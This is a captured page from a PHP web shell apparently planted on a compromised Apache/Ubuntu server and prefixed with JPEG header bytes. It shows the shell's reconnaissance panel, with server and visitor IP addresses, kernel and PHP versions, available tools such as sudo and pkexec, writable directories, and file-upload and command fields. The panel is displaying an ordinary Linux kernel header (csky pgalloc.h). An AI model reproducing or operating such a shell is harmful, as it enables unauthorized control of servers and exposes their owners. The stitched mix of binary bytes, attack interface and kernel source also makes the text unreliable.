����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.118
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/modules/5.4.0-163-generic/build/arch/csky/include/asm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/self/root/lib/modules/5.4.0-163-generic/build/arch/csky/include/asm/pgalloc.h
/* SPDX-License-Identifier: GPL-2.0 */
// Copyright (C) 2018 Hangzhou C-SKY Microsystems co.,ltd.

#ifndef __ASM_CSKY_PGALLOC_H
#define __ASM_CSKY_PGALLOC_H

#include <linux/highmem.h>
#include <linux/mm.h>
#include <linux/sched.h>

#define __HAVE_ARCH_PTE_ALLOC_ONE_KERNEL
#include <asm-generic/pgalloc.h>	/* for pte_{alloc,free}_one */

static inline void pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd,
					pte_t *pte)
{
	set_pmd(pmd, __pmd(__pa(pte)));
}

static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmd,
					pgtable_t pte)
{
	set_pmd(pmd, __pmd(__pa(page_address(pte))));
}

#define pmd_pgtable(pmd) pmd_page(pmd)

extern void pgd_init(unsigned long *p);

static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
{
	pte_t *pte;
	unsigned long i;

	pte = (pte_t *) __get_free_page(GFP_KERNEL);
	if (!pte)
		return NULL;

	for (i = 0; i < PAGE_SIZE/sizeof(pte_t); i++)
		(pte + i)->pte_low = _PAGE_GLOBAL;

	return pte;
}

static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
{
	free_pages((unsigned long)pgd, PGD_ORDER);
}

static inline pgd_t *pgd_alloc(struct mm_struct *mm)
{
	pgd_t *ret;
	pgd_t *init;

	ret = (pgd_t *) __get_free_pages(GFP_KERNEL, PGD_ORDER);
	if (ret) {
		init = pgd_offset(&init_mm, 0UL);
		pgd_init((unsigned long *)ret);
		memcpy(ret + USER_PTRS_PER_PGD, init + USER_PTRS_PER_PGD,
			(PTRS_PER_PGD - USER_PTRS_PER_PGD) * sizeof(pgd_t));
		/* prevent out of order excute */
		smp_mb();
#ifdef CONFIG_CPU_NEED_TLBSYNC
		dcache_wb_range((unsigned int)ret,
				(unsigned int)(ret + PTRS_PER_PGD));
#endif
	}

	return ret;
}

#define __pte_free_tlb(tlb, pte, address)		\
do {							\
	pgtable_pte_page_dtor(pte);			\
	tlb_remove_page(tlb, pte);			\
} while (0)

extern void pagetable_init(void);
extern void pre_mmu_init(void);
extern void pre_trap_init(void);

#endif /* __ASM_CSKY_PGALLOC_H */

Youez - 2016 - github.com/yon3zu
LinuXploit